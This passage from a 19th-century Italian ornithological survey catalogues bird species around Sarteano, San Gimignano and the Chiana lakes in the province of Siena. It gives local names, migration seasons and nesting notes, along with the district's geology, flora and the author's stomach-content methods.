*Charadrius Pluvialis*, *Piviere*. Abbondante nel passo di primavera (ma non ogni anno egualmente), lo è assai meno in quello di autunno. *Squatarola helvetica*, *Pivicressa*. Raramente, ma pur di tanto in tanto ho veduto e avuto delle Pivicresse sempre però in maggio (fine) e giugno. *Eudromias Morinellus*, *Francolino*. È specie scarsa, ma quasi ogni anno ne ho visti passare in agosto ed in settembre. *Aegialitis cantiana*, *Occhio di bove*. È piuttosto raro da noi e si trova lungo le sponde dei laghi o fiumi; in primavera soltanto ne ho avuti. Ægialitis curonica, Corrierino. Anche questa specie è piuttosto rara, ma si trova nei due passi. Ægialitis Hiaticula, Corriere. È questa la specie più comune da noi, ne ho veduti anche in grossi branchi in primavera, meno abbondante in autunno. Vanellus Capella, Mivola. Comunissima nei due passi, si trattiene in piccol numero nei nostri paduli a svernare se l'inverno è mite, ne uccisi una in giugno nelle colmate cortonesi. Hæmatopus Ostralegus, Beccaccia di mare. Più volte è stata veduta e presa questa specie sui nostri laghi, ma sempre in primavera. Recurvirostra Avocetta, Monachina. Non è raro il vederla sui nostri laghi in primavera, mai in altre stagioni. Himantopus candidus, Cavalier d'Italia. Ogni anno se ne vedono in buon numero, ma sempre in primavera (marzo-aprile). Pelidna subarquata, Piovanello. Comunissimo in aprile (fine) e maggio sui nostri paduli, raramente si vede in autunno; ne ho veduto in agosto. Actodromas minuta, Gambettino. Comune quanto la precedente, si vede in maggio ed in agosto. Actodromas Temmincki, Gambettino. Viene confuso colla specie precedente, ma è invece scarsissima in primavera, non ne ho mai avuti nè veduti in autunno. Calidris Arenaria. Accidentale. Machetes Pugnax, Gambetta. Comunissima in autunno inverno e primavera i giovani, rarissimi gli adulti; ho ucciso Gambette alla fine di maggio. Tringoïdes Hypoleucus, Gambettino. Comune lungo i fiumi in agosto e in aprile, e forse nidificante. Totanus Ochropus, Merletta. Comune in ogni stagione, lo è maggiormente in primavera; in estate ne ho uccisi parecchi e quasi son certo che nidifichi. Totanus Glareola, Pirullino. È la più comune delle Gambette, specialmente in primavera (aprile); passa anche in settembre. Totanus Calidris. Comune in primavera la Pettegola, sverna talvolta da noi. Totanus fuscus, Gambetto nero. Piuttosto scarsa, ne ho vedute però in autunno e in primavera e ne ho uccise in luglio. Totanus nebularius, Chioco. È poco frequente, ma si vede quasi in ogni stagione. Limosa melanura, Pittima. È comune nel passo di primavera (aprile), scarsa in quello di autunno (settembre). Scolopax Rusticula, Beccaccia. Comune nei due passi, ne trovai una in estate nei miei boschi. Gallinago major, Pizzardo. Comune in primavera (aprile-maggio), non ne ho mai veduti in autunno. Gallinago caelestis, Beccaccino. Comunissimo in novembre e marzo, però tranne che in giugno, ne ho veduti in ogni stagione. Gallinago Gallinula, Bagiongolo. Comunissimo in primavera; lo è meno in autunno. Numenius Arquata, Pivolone. Piuttosto scarso, ma si vede sempre nei due passi. Numenius tenuirostris, Pivolone piccolo. È piuttosto scarso, come il precedente. Numenius Phaopus, Pivolone piccolo. È assai più raro che il precedente con cui generalmente si confonde. Glareola Pratincola, Pernice di mare. Non è infrequente il trovarla (sempre in maggio) sulle praterie vicino ai nostri laghi. Gelochelidon anglica, Rondone. È rarissimo da noi, ne ho veduti però in primavera sui laghi. Sterna fluviatilis, Rondone. Se ne vedono in primavera sui nostri laghi, ma in piccol numero. Sternula minuta, Rondone. In alcuni anni in maggio è abbondantissimo, in altri meno; sempre però se ne vedono. Hydrochelidon hybrida, Rondone. Ne ho visto quasi ogni anno in piccol numero sui nostri laghi. Hydrochelidon leucoptera, Rondone. È piuttosto frequente, mista alla specie seguente, sempre in aprile-maggio; scarso in settembre. **Hydrochelidon nigra**, *Rondone*. Comunissimo nel passo di primavera (aprile-maggio), lo è assai meno in quello di autunno (settembre) ne ho veduti anche in luglio. **Rissa tridactyla**. Accidentale, ne ebbi uno nel febbraio 1879 da Lucignano. **Chroocephalus minutus**, *Gabbianello*. È in alcuni anni comunissimo sui nostri laghi dove compare in aprile inoltrato, ordinariamente, ma per due o tre giorni. **Chroocephalus ridibundus**, *Gabbiano*. (*Nalda* a Chiusi). Ne ho visti in gran quantità nei prati paludosi per alluvioni, trattenersi anche durante l’inverno; passa in autunno e primavera. **Colymbus septentrionalis**, *Strolaga*. Sul Trasimeno si vedono non raramente alcuni individui di questa specie specialmente in inverno, ma sempre isolatamente. **Podiceps cristatus**, *Svaso*, *Suasso*. Comune in primavera sui nostri laghi, dove apparecse in fine marzo e vi nidifica in buon numero. **Podiceps nigricollis**, *Circolessa*. Assai meno comune dell’altra specie a differenza della quale però si vede anche nell’inverno. **Podiceps fluviatilis**, *Tuffolino*. Comunissimo nell’epoca del passo, lo è meno nelle altre stagioni, ma sempre se ne trovano, sicché è specie per noi sedentaria. --- **Siena**, distretto di Sarteano, Chiusi (Bargagli marchese Piero): I limiti del comune di Sarteano sono quelli entro i quali si effettuarono le osservazioni ornitologiche qui riferite e che ebbero luogo sul finire della estate ed al principio di autunno dell’anno 1887, cioè dal 19 luglio al 6 di ottobre. Quanto riguarda l'alimentazione degli uccelli abbraccia peraltro varie altre condizioni di luogo e di tempo, essendo mio intendimento di rivolgere più estesamente le mie osservazioni su questo importante soggetto e di continuare quanto mi sarà possibile. Il territorio di Sarteano si estende a traverso una catena di monti che separano la valle dell'Orcia da quella dell'Astrone, ed è confinato dai vicini comuni di Chianciano, Chiusi, Cetona, San Casciano dei bagni, Radicofani e Pienza, i quali comuni, per condizioni geografiche e topografiche, possono presentare circostanze ornitologiche poco diverse da quelle di Sarteano, eccetto alcuni di essi che dai laghi detti di Chiusi e Montepulciano e dalle pianure della Val di Chiana, sono in misura di fornire un contributo assai più ricco e variato all'Avifauna Italiana. I monti di Sarteano fanno parte di una delle non poche catene minori parallele all'Appennino centrale, e mentre da S. E. si inalzano tanto da formare la montagna detta di Cetona, perchè la più alta cima (1140 m.) è compresa nel territorio di queste comune, trovano a N. O. continuità di andamento nei monti di Chianciano, di Montepulciano, di Montefollonico e di Sinalunga, finchè più oltre per varie diramazioni, si volgono verso la catena del Chianti da un lato, e dall'altro alla Montagnola senese. Due corsi d'acqua, cioè l'Astrone a levante ed a tramontana, e l'Orcia a ponente, lambiscono con direzione reciprocamente opposta, il territorio di Sarteano, ed affluiscono il primo nella Paglia e per essa nel Tevere, il secondo nell'Ombrone. La natura dei terreni sarteanesi è assai variata ed essenzialmente sedimentaria; nè alcuna delle rocce eruttive che costituiscono i vicini monti di Radicofani e l'Amiata emerge in questa località, e solo dal capitano Verri furono osservati alcuni affioramenti ofiolitici presso Castiglioncello del Trinoro. Tuttavia la importanza geologica dei monti sarteanesi è assai conosciuta; perchè, specialmente i monti di Cetona e di Sarteano, come un tempo emersero dai mari plioconici e ne formarono una isoletta, così oggi si sollevano sui fondi di questi mari che coi loro depositi di sabbie gialle e di argille turchine ne rivestirono la base e ne formano ora le appendici minori. Costituiscono questi monti notevoli formazioni posterziane, terziarie e secondarie; giacché vi si riscontrano i travertini ed i tufi calcarei, i calcari ad *Amphistegine* in strati potentissimi, i calcari dolomitici, le varie e molteplici stratificazioni ora scistose, ora ftanitiche, ora calcaree ammonitifere del Lias medio, superiore ed inferiore, le quali stratificazioni formano il vero nucleo della montagna di Cetona, considerata da alcuni geologi come il lembo più orientale della catena metallifera. Una delle recentissime formazioni deve essere specialmente menzionata perchè ha grande importanza nella configurazione topografica dei dintorni di Sarteano; dove i travertini a guisa di estesi altipiani a colossali gradini sono addossati al fianco orientale dei monti sarteanesi, e, con alternanza di vaste superfici orizzontali e di scoscesi dirupi, si interpongono tra il livello del torrente Astrone ed il paese di Sarteano che risiede appunto nel più vasto e sul più elevato di questi altipiani, a circa 600 metri sul livello del mare. Le medesime sorgenti di acque semitermali che oggi servono di forza motrice a numerosi molini ed a considerevoli industrie, nonchè alla irrigazione dei campi, possono ritenersi come ultimi resti di antiche sorgenti assai più ricche di acque e di materiali calcarei, le quali in condizioni geologiche e topografiche diverse da quelle d'oggi, devono avere alimentato quei laghi successivamente situati ad altezze differenti, i quali oggi sono rappresentati da vari livelli orizzontali dei travertini che ne costituirono il fondo. Tali notizie non sono del tutto estranee alle condizioni ornitologiche locali; giacché, oltre ai rapporti mediati per mezzo della flora, troviamo pure dei rapporti diretti tra le condizioni del suolo e gli uccelli; giacché, per esempio, in quegli elevati dirupi, in quei caotici ammassi ruiniformi di travertini che « per sostegno manco » si staccarono dai margini degli altipiani suddetti, trovano sicuro asilo e sede per i loro nidi, e Falchi, e Gufi, e Rondoni e Passere solitarie e Ciuffolotti dal nido di graminacee intrecciato a cespugli che pendono dai più paurosi precipizi; perchè qui pure vanno tranquillamente a cercar cibo in oscuri ripostigli i Merli, i Tordi e molti altri uccelli minori. Vediamo ancora come alcuni di quei rilievi, come appunto il margine N. E. del più elevato di cotesti altipiani, rivestito di Querci e di Cerri nel suo pendio meno scosceso ed in parte anche nel piano, sono luoghi ben conosciuti dai cacciatori di Colombacci, i quali uccelli, dopo aver traversato le ampie pianure della Val di Chiana, rimontano le pendici di quasi tutta quella catena di monti per traversarla, come poi traversano la Valle dell’Orcia, per recarsi quindi all’Amiata ed al mare. Nè sono estranee agli uccelli certe pendici opportunamente esposte, ed alcune insenature di quei monti; perchè vediamo che esse sono preferite dagli Storni, dagli uccelli emigranti e perchè trovano in esse sede opportuna, i paretai, i roccoli, i boschetti da Tordi. Ed oltre a questo è pur facile il domandarsi se il Tallurino, il Grottaione, lo Strillozzo potrebbero trovarsi in questi luoghi se le deserte lande di argilla della Val d’Orcia non offrissero sicura ed opportuna sede a queste specie; e se non fosse a cagione delle acque semitermali, che mai si congelano nemmeno nelle più crude invernate, non si vedrebbero forse come ora si vedono talvolta anche nel cuor dell’inverno Beccace e Beccaccini lungo i fossetti, il Pett’azzurro e il Beccapesci sulle gore dei molini, dove pur nuotano non di rado e Barazzuoli, e Germani ed altri uccelli acquatici. Le condizioni della flora sono quali possono aspettarsi in monti dell’Italia centrale, che comprendono dalla zona dell’Ulivo (il quale per circostanze favorevoli di suolo vegeta mirabilmente nei dintorni di Sarteano e rimonta fino a non comuni elevazioni), alla zona del Faggio che ricopre la parte più elevata della montagna di Cetona e si mostra ancora in qualche altro punto dei monti minori. Ai Faggi secolari su quella cima si associano pure grossi alberi di Acero (Acer pseudo-platanus) o Piatina, come li chiamano volgarmente. Succedono quasi immediatamente ai Faggi i boschi di Cerro e poi di Querce, essendo notevole l'assenza quasi completa della zona del Castagno, del quale non saprei ben dire se i pochi rappresentanti che si trovano sui monti sarteanesi siano vetusti saggi di cultura di questo utilissimo albero o se possano considerarsi come gli ultimi superstiti di castagneti spontanei che nella naturale lotta per l'esistenza dovettero cedere il campo alla preponderanza del Cerro e della Querce. E nemmeno l'Abe- to, fedel confidente della zona del Faggio, cresce su questi monti, ed i pochi esemplari che vi si osservano sono stati importati dalla mano dell'uomo; nè i Pini silvestri, che al trove rivestono aride pendici, figurano nella flora di questi luoghi. Delle querci solo la Quercus cerris Linn. e la Q. sessili-flora Sal. costituiscono i boschi in gran parte tenuti a ceduo, sebbene ancora non siano rare le estensioni di boscaglie ad alto fusto; il Leccio Q. ilex Linn. e la Farnia Q. podunculata W. crescono spontanei in poche di quelle località, se pure quest'ultima pianta non v'è assolutamente estranea. Un bell'alberetto il Ciavardello (Pyrus torminalis Ehr.), i cui frutti sono avidamente ricercati dai Tordi, sostituisce nei monti suddetti i Corbezzoli, in parte i Ginepri e le altre piante di climi più caldi. La bassa vegetazione, oltre a quella artificiale della cultura a grano, a formentone, a lino, a canape, a foraggi d'erba medica e di lupinella, a viti ed ulivi, è quella consueta dell'interno e dei margini dei boschi, quella dei pascoli montuosi, quella di pendici ora umide, ora asciutte, ora aride e sassose; quella dei corsi d'acqua a carattere torrentizio; e quella infine speciale delle brutte estensioni costituite dalle argille della Val d'Orcia, dove crescono le Tamerici, gli Assenzi, i Cardi e molte gramigne ed erbe diverse. Infine altro carattere notevole della vegetazione di questi monti è la straordinaria abbondanza di Bossoli spontanei (Buxus sempervirens Linn.) che nascono o crescono fino nei crepacci delle rocce e rivestono insieme al Carpine (Carpinus betulus Linn.) ed ai rovi i margini più dirupati degli altipiani sarteanesi di cespugli foltissimi e di folti macchioni; circostanze spesso ricercate da quegli uccelli che vogliono costruire il nido a poca distanza da terra. Credo infine opportuno il dare qualche schiarimento sul modo col quale ho praticato le mie osservazioni sull'alimentazione degli uccelli, che è stato e sarà il punto principale a cui sono indirizzate le mie indagini. L'esame delle materie contenute nello stomaco di uccelli di sicura provenienza è stata l'unica via fin qui seguita. Ho tenuto conto dell'apparenza e del volume della massa alimentare, notandone il colore, quando questo lo meritava, e misurando in tubo graduato il sedimento formato dalle dette materie sciolte in acqua abbondante, con che ottenevo pure una opportuna lavatura delle materie stesse. Ho spinto l'approssimazione di questa misura, naturalmente un po'sommaria, al quarto di centimetro cubo. Nel determinare la natura dei frammenti sono andato assai cauto, contentandomi di darne bene spesso indicazioni generiche, piuttosto chè affermare cose troppo incerte; e ciò facilmente potrà comprendersi se si considera come talvolta sia assai difficile di determinare un insetto completo, e come questa difficoltà divenga centuplicata nel dovere studiare frammenti di piccoli animali, almeno finchè un numero considerevole di osservazioni non avrà facilitato la cosa coll'esperienza. Ho creduto pure opportuno di tener conto della presenza delle pietruzze che facilitano la digestione di materie solide, prendendo nota della loro quantità, della loro apparenza e colore e della loro natura calcarea o silicea che potei facilmente riscontrare saggiandoli con acido idroclorico. Devo pure far noto come io sia debitore al signor prof. Adolfo Targioni-Tozzetti che volle indicarmi i nomi esatti delle diverse specie di molluschi terrestri trovati nello stomaco di vari uccelli; ed al sig. prof. Carlo Emery che volle compiacersi di determinare le formiche trovate tra i suddetti alimenti. Lo studio dei semi fu affidato al professore Odoardo Beccari ed al sig. Ugolino Martelli e fino ad ora non sono indicati se non quelli della natura dei quali ero sicurissimo. **Elenco delle specie di uccelli osservate nel distretto di Sarteano, provincia di Siena, coi nomi volgari locali e notizie sulla frequenza, migrazioni, nidificazione ecc.** *Corvus Corax.* Non raro in inverno alle pianure. *Corvus frugilegus.* Frequenti in inverno, ma sembra che qualche individuo rimanga stazionario per tutto l'anno sui monti. *Corvus Cornix,* *Cornacchia.* Sedentaria. *Pica rustica,* *Gazzera.* Sedentaria. *Garrulus glandarius,* *Ghiandaia.* Sedentaria e comunissima al piano e sui monti. *Sturnus vulgaris,* *Storno.* Passano in autunno trattenendosi ai piani e nelle olivete. *Fringilla cœlebs,* *Fringuello.* Di passo e stazionario. *Fringilla Montifringilla,* *Peppola.* Di passo col precedente. *Petronia stulta,* *Passera lagia.* Estiva. *Passer montanus,* *Passera mattugia.* Sedentaria. *Passer Italiæ,* *Passera.* Sedentaria ed abbondante. *Coccothraustes vulgaris,* *Frusone.* Passa in ottobre, è anco nidificante. *Ligurinus Chloris,* *Verdello.* Sedentario e di passo. *Chrysomitris Spinus,* *Lucherino.* Qualche anno è abbondantissimo, sempre in autunno. *Carduelis elegans,* *Cardellino, Calderino.* Sedentario e di passo. *Serinus hortulanus,* *Crespolino.* Sedentario e di passo. *Cannabina Linota,* *Funello.* Passa in autunno ed è anco nidificante. Pyrrhula europaea, Ciuffolotto. Sui monti nidifica, è anco di scarso passo autunnale. Loxia Curvirostra, Crociere. Di passo irregolare in autunno, talvolta in gran numero. Miliaria Projer, Strillozzo. In Val d'Orcia è sedentario. Emberiza Citrinella, Zigolo giallo o Nizzola. Invernale. Emberiza Cirlus, Nizzola nera. Sedentario. Emberiza Hortulana, Ortolano. Comune in piano e sui monti, dall'aprile al settembre. Emberiza Cia, Nizzola cenerina o prataiola. Di scarso passo. Emberiza Schoeniclus, Nizzola di padule. Di scarso passo. Melanocorypha Calandra, Calandra o Palandra. Invernale e di passo in ottobre. Alauda arborea, Lodoliechio o Lodolino. Sedentaria, più abbondante in ottobre. Alauda arvensis, Lodola. Sedentaria e di passo in ottobre. Galerita cristata, Cappellaccia. Ciuffotta o Puntiera. Nei piani; sedentaria. Anthus pratensis, Piscola. Comune anco sui monti, passa in aprile e settembre e sverna. Anthus cervinus. Rara di passo. Anthus trivialis, Pispolone. In pianura di passo nell'estate. Budytes flavus, Codazinzera, Batticoda. Di doppio passo. Motacilla alba, Coditremola. Frequente in inverno. Calobates melanope, Boarina. Non comune, si trova tutto l'anno in pianura. Saxicola Oenanthe, Culbianco. Estivo nei luoghi aridi e sassosi, più al monte che ai piani. Saxicola Stapazina. Col nome di Stapazina o Culbianco a gola nera, questa specie sembra esser confusa colla seguente; sono rare entrambe di passo. Saxicola melanoleuca. Rara di solo passo. Monticola saxatilis, Codirossone, Tordo marino. Non raro sui monti, giunge in aprile-maggio, parte in settembre. Monticola Cyanus, Passera solitaria. Nei campanili, nei vecchi muri e nei dirupi, sedentaria. Merula nigra, Merlo. Sedentario e comune. Merula torquata. Qualche cacciatore dice di averlo ucciso col fucile, ma non è certo comune. Turdus atrigularis. Si dice che ne fossero presi tre individui ad un boschetto molti anni indietro. Turdus pilaris, Gaggi. Non comune in inverno nei boschi e nei prati. Turdus iliacus, Alpigino. Invernale, si vede alla fine d'ottobre. Turdus musicus, Tordino. Di passo in settembre-novembre ed in marzo; qualche coppia nidifica ai monti. Turdus viscivorus, Tordela. Sedentaria. Aëdon Luscinia, Rusignolo, Usignolo. Comune da aprile ad ottobre al monte ed al piano. Erithacus Rubecula, Pettiere o Picchieri. Sedentario ai monti, di passo in ottobre e marzo, ed invernale. Cyanecula Wolfi, Pettazzurro. Raramente si vede intorno alle acque semitermali e presso le gore dei molini in inverno. Ruticilla Phœnicurus, Codirosso. In pianura e sui monti, comune in estate. Pratincola Rubicola, Salimpunta. Sedentaria. Pratincola Rubetra, Tomio, Tuina, Piagnocolone. Comune da marzo a settembre. Sylvia cinerea, Beccafico passerino, Passera scopaiola. Comune dall'aprile al luglio. Monachus Atricapillus, Capinera. Sedentaria e comune in pianura ed ai monti. Monachus hortensis, Beccafico. Estivo. Pyrophthalma melanoccephala, Bigia. Invernale, dal gennaio al marzo. Phylloscopus rufus, Luì. Sedentario. Troglodytes parvulus, Re di macchia, Sericciole, Beccaccino. Sedentario, ma specialmente invernale. Accentor modularis, Passera scopaiola, Scopaiola. Invernale. Regulus ignicapillus, Fiorancino. Invernale. Acredula Irbyi, Codibugnolo o Paglianculo. Sedentario, cova sui monti. Parus major, Perlonza capinera, Cingallina reale. Sedentaria e comune. Cyanistes caeruleus, Perlonzina, Cincia, Cingallina piccola. Sedentaria. Sitta caesia, Muraiolo. Comunissimo e sedentario nei boschi di querce e di Cerro. Certhia brachydactyla, Rampichino. Comune nei boschi di querce e sedentario. Trichodroma muraria, Picchio muraiolo. Sedentario. Oriolus Galbula, Golo. Comune da aprile ad ottobre. Lanius minor, Castrica, Castrochchia. Estiva. Lanius Collurio, Castrica, Castrochchia. Estiva. Hirundo rustica, Rondine. Comune ed estiva. Chelidon urbica, Balestruccio. Estivo comune. Cypselus Apus, Rondone. Estivo, ai primi d’agosto parte. Cypselus Melba, Rondone. Sembra che anche questa specie venga nei monti sarteanesi e nidifichi nei molti luoghi rocciosi e dirupati. Caprimulgus europaeus, Piattaione. Estivo. Picus major, Picchio rosso, Picchio cavallo. Sedentario e frequente. Picus minor. Scarso, ma sedentario. Gecinus viridis, Picchio giallo. Sedentario. lynx Torquilla, Torcicollo. Estivo. Cuculus canorus, Cucule. Comune da aprile a luglio. Alcedo Ispida, Beccapesce, Uccel Santa Maria. Si vede non di rado lungo i margini delle gore dei molini. Sedentario. Merops Apiaster, Grottaione. Si trova nell’estate in Val d’Orcia, ove nidifica. Upupa Epop, Puppola. Estiva. Strix flamméa, Barbagianni. Sedentario. Syrnium Aluco, Alocco. Sedentario nei monti. Athene Noctua, Civetta. Sedentaria e comune. Scops Giu, Chiù, Chiurlo. Comune più in Val d’Orcia che nei monti di Sarteano nell’estate. Circus aeruginosus. Non comune. Aquila Chrysaëtus, Aquila. Un solo individuo ♂, da circa quattro anni, fu ucciso nel novembre 1886 sul monte di Cetona mentre divorava un tacchino sopra un Cerro. Cerclineis Tinnunculus, Falchetto, Falco da uccellini. Frequenti nelle rocce e nei dirupi. Sedentario. Anser segetum, Oca. Di doppio passo. Anas Boscas, Germano, Germano reale. Si trova talvolta in inverno nel torrente Astrone. Nettion Crecca, Germanello, Barazzuolo. Nell’inverno si vedono nell’Astrone e nelle gore dei molini. Columba Palumbus, Colombaccio, Collarone. Qualche coppia rimane sedentaria e cova sui Faggi e sui Cerri in montagna. Passa in ottobre e marzo. Columba Oenas, Colombella. Sta nell’inverno alla pianura e specialmente in Val d’Orcia. Columba livia, Piccione torratiolo. Abbondantissimo nelle torri, nelle piccionaie, nei campanili e specialmente nella torre del castello di Sarteano. Turtur tenera, Tortora, Tortola. Comune in estate in pianura e sui monti. Starna Perdix. Comune e sedentaria nei campi, nei prati e nei luoghi coltivati. Molto più comune nella Val d’Orcia. Coturnix communis. Comune in estate nei luoghi aperti; non sembra che si trattienga sui monti. Rallus aquaticus, Gallinella. Viene per i fossetti in inverno. Edicemus scolopax, Tallurino. Sedentario e pare anco di passo, vede in Val d’Orcia talvolta in branchi numerosi e appena risale le prime appendici dei monti nel versante di ponente. Charadrius Pluvialis, Piviere. È raro nei luoghi aperti e spogliati; più facilmente si trova in Val d’Orcia. Di doppio passo. --- ¹ Alcuni possidenti del circondario hanno tentato inutilmente di acclimatarvi la Perdix petrosa di Sardegna; le varie coppie lasciate libere sui pendii che guardano l’Orcia si dispersero e vennero uccise a considerevoli distanze. Eudromias Morinellus. Di scarso passo. Scolopax Rusticula, Beccaccia. Comune nei primi mesi d'inverno per i boschi ed anche presso i fossetti delle acque calde quando tutto il terreno è gelato. Si distingue una razza piccolo detta « scopina. » Gallinago caelestis, Beccaccino. Si vede in novembre e dicembre. Siena, distretto di San Gimignano (Paulucci marchesa M., Marri Ezio): Scarsi e di limitato interesse scientifico saranno i ragguagli che io potrò fornire in quanto alle specie di uccelli osservate nel distretto del quale mi occuperò nelle presenti note, perchè queste si riferiranno soprattutto agli animali catturati al pareaiaio, a mezzo delle reti e comprenderanno perciò principalmente, tanto le specie che vi si acchiappano comunemente o che è ovunque consueto prendere con quel genere di tesa, quanto le poche altre che vi capitano solo per caso e perciò si devono considerare come avventizie. Il mio pareaiaio, dipendente dalla fattoria del Monte a Puliciano, è in Val d'Elsa, in prossimità di Certaldo, provincia di Siena (sul limitare quasi della provincia di Firenze); fa parte del comune di San Gimignano, ed è situato su di un piccolo ripiano poco superiore al torrente Casciano, a circa 120 m. sul livello del mare. Il soprassuolo è coperto in buona parte da boschi di Querci, in parte è coltivato, soprattutto ad Ulivi; vi sono pure frammischiate alcune piagge incolte ove a mala pena nasce l'erba; il terreno di formazione pliocenica, è caratterizzato dalle sabbie gialle, dai mattaioni e da strati conchiglieri, ove primeggiano le grandi Bivalvi, come Ostrea, Perna, Panopava, Lutravia ec., ec. Alle specie catturate al pareaiaio aggiungerò pure quelle uccise nella stessa tenuta o nei dintorni (estesi pure nella provincia di Firenze, comune di Montaione) e che fanno parte della mia Collezione ornitologica, principiata solo nel 1880. Nell'iniziare questa collezione il mio scopo era di facilitare a me ed ai miei dipendenti la cognizione delle specie di uccelli che si catturano con quel mezzo di tesa e credevo così limitarla; in seguito però ed in grazia di alcune favorevoli circostanze che mi si sono presentate, il mio programma è andato mano mano allargandosi, sicché oggi mi trovo a possedere 128 specie rappresentate da 252 esemplari, alcune delle quali non affatto comuni. Non lontano dal paretaio, sulla riva opposta del torrente Casciano, esistono estese e folte boscaglie che cuoprono la maggior parte dei monti sino alla strada provinciale che da Montaione, per i Cornocchi, conduce a Volterra (Paulucci). San Gimignano si trova sul fianco settentrionale di una delle più ridenti colline della Val d'Elsa, sopra il livello del Mediterraneo metri 386. È posta fra il 28°, 4' 1'' long., ed il 42°, 27' 5'' lat. Alla distanza di circa 7 miglia all'Est le sta Poggibonsi; a miglia 6 al Sud Colle di Val d'Elsa; a miglia 22 nella stessa direzione Siena; a miglia 20 all'Ovest Volterra; a miglia 7 al Nord Certaldo ed a miglia 30 nella stessa direzione Firenze. Il terreno del circondario Sangimignanese è montuoso per eccellenza e dalla parte di Nord-Est e di Sud-Est un po'meno aspro, affatto diboscato, con poggi e colline ben coltivate, che si estendono giù fino alle rive dell'Elsa ad Est, che segna il confine del nostro circondario. Nè da queste parti difettasi d'acqua, poiché il ruscello dei Fosci, il torrente dell'Imbrotoni e dei Riguardi, confluenti dell'Elsa dalla parte di Sud-Est, e il torrente Casciano dalla parte di Nord-Est, sono sufficientemente ricchi d'acqua anche nella stagione estiva. Ma dalle altre parti: Nord, Sud e Ovest specialmente, si trovano monti e valloni rivestiti di boscaglie e un terreno ineguale, sassoso, faticosissimo, che va su fino all'elevata montagna del Cornocchio, e fino a quella catena di monti detta la Serra Volterrana dalla parte di Nord e Ovest, e fino ai boschi di Berignone dalla parte di Sud-Ovest. Qui si difetta d'acqua perchè quantunque frequenti vi si incontrino i torrenti, questi son tali che recano acque abbondanti e rovinose subito dopo le piogge, ma dopo poco tempo si prosciugano talmente che non vi si trova più nessuna traccia di umidità. Noterò che fra i nostri boschi rarissimi sono quelli costituiti da piante secolari, poichè per avidità di guadagno ogni 6 o 8 anni si tagliano, e per di più in molti luoghi si dibosca addirittura ed è desiderio di tutti che una legge giunga in tempo ad impedire il diboscamento generale, poichè fin da quando questo ha cominciato a prender largo sviluppo le condizioni climatologiche sono variate assai (Marri). Elenco delle specie di uccelli osservate nella provincia di Siena, distretto di San Gimignano, coi nomi volgari locali e notizie sulla frequenza, migrazioni, nidificazione ecc., ecc. Corvus Cornix, Cornacchia. Sedentaria e di passo in ottobre; comune (P. M.). Corvus frugilegus, Corvo. Autunnale ed invernale (P. M.). Pica rustica, Gazza, Gazzera, Cecca. Sedentaria, comune (P. M.). Garrulus glandarius, Ghiandaia. Sedentaria, comune (P. M.). Sturnus vulgaris, Storno. Invernale (P.); e di passo (M.). Fringilla coelebs, Fringuello, Filunguello. Sedentario e di passo, comune (P. M.). Fringilla Montifringilla, Peppola. Comune al passo autunnale (P. M.). --- 1 Questo elenco è compilato sulle liste e le notizie fornite dalla marchesa M. Paulucci e dal signor Ezio Marri. Con iniziali ho indicato la parte che spetta a ciascun osservatore. Petronia stulta, Passera lagia. Comune al passo autunnale (P. M.). Passer montanus, Mattugia, Passerucchia. Sedentaria e di passo autunnale (P. M.). Passer italicæ, Passera, Passera casolina, Passerotto. Sedentaria, abbondante e di passo in autunno (P. M.). Coccothraustes vulgaris, Frosone. Comune al passo autunnale; furono abbondanti nel 1884, scarsi nel 1886 (P. M.). Ligurinus Chloris, Calenzolo. Sedentario e di passo in autunno (P. M.). Chrysomitrís Spinus, Lucherino. Sedentario e di passo autunnale irregolare, cioè ora abbondante ora scarso (P. M.). Carduelis elegans, Cardellino, Calderino. Sedentario e di passo in autunno (P. M.). Serinus hortulanus, Raperino. Sedentario, comune e di passo autunnale ora abbondante ora scarso (P. M.). Cannabina Linota, Montanello, Fanello. Sedentario e di passo in autunno, non però regolare; molti passarono nel 1882 e 1884, pochi o punti nel 1883 e 1886 (P. M.). Pyrrhula europaea, Ciufolotto. Scarso, invernale; quando i boschi non erano distrutti, questa specie era comune e sedentaria (P. M.). Loxia Curvirostra. Di passo irregolare in autunno (P.). Miliaria Projer, Stiattardo, Stiattajone. Comune nel passo autunnale (P. M.). Emberiza Citrinella, Zigolo giallo. Di passo nell'autunno (P. M.). Emberiza Cirlus, Zigolo nero. Sedentario e di passo (P. M.). Emberiza Hortulana, Ortolano. Accidentale nel passo autunnale (P.); estivo, non abbondante (M.). Emberiza Cia, Zigola. Comune al passo autunnale (P. M.). Calcarius nivalis. Accidentale, ne ebbi una femmina il 5 dicembre 1885 (P.). Alauda arborea, Lodolino. Comune, sedentario e di passo; divenuto scarso da qualche anno (P. M.). Alauda arvensis, Lodola. Sedentaria, comune e di passo in ottobre (P. M.). Galerita cristata, Lodola cappellaccia. Sedentaria (P. M.). Agrodroma campestris, Corrisodo. Estivo, non comune, nidifica solo sul Cornocchio ai sudi di Pignano (M.). Anthus pratensis, Pispolo. Comune al passo autunnale (P. M.). Anthus trivialis, Pispolone. Scarso al passo autunnale (P. M.). Motacilla alba, Batticoda. Comune e sedentaria (P. M.). Calobates melanope, Boarina. Scarsa al passo autunnale (P.); sedentaria (M.). Saxicola Oenanthe, Codibianco. Estivo (P. M.). Monticola Cyanus, Passera solitaria. Avuta nel maggio (P.); sedentaria (M.). Merula nigra, Merlo. Sedentario e comune; si distinguono come « Merli forestieri » o « di montagna » quelli colle parti inferiori rossiccie e dicesi che giungono tardi di passo; sono sempre femmine (P. M.). Merula torquata. Avuto nel gennaio 1883 (P.). Turdus pilaris. Avuta nel dicembre (P.). Turdus iliacus, Tordo alpignino. Avuto in gennaio (P.); invernale (M.). Turdus musicus, Tordo. Autunnale ed invernale (P. M.). Turdus viscivorus, Tordela. Avuta in gennaio e febbraio (P.); sedentario (M.). Aëdon Luscinia, Rossignolo. Avuti maschio e femmina il 14 ottobre 1884 (P.); estivo (M.). Erithacus Rubecula, Pettiroso. Sedentario e di passo (P. M.). Ruticilla Phœnicurus, Codiroso. Avuto in ottobre (P.); estivo (M.). Ruticilla titys. Accidentale e scarso in autunno (P.). Pratincola Rubicola, Saltimpalo, Saltanselce. Sedentario (P. M.). Sylvia cinerea, Beccafico. Avuta in giugno (P.); estiva (M.). Monachus Atricapillus, Capinera. Comune (P.); sedentaria (M.). Pyrophthalma melanocephala, Bigina, Occhiocotto. Sedentario (P. M.). Melizophilus undatus. Avuta nel marzo (P.). Phylloscopus rufus, Luì. Sedentario (P. M.). Hypolais polyglotta. Estivo, avuto in giugno (P.). Troglodytes parvulus, Re di macchia. Autunnale (P.); sedentario (M.). Cinclus aquaticus, Merlo acquaiolo. Avuto nell'estate (P.); 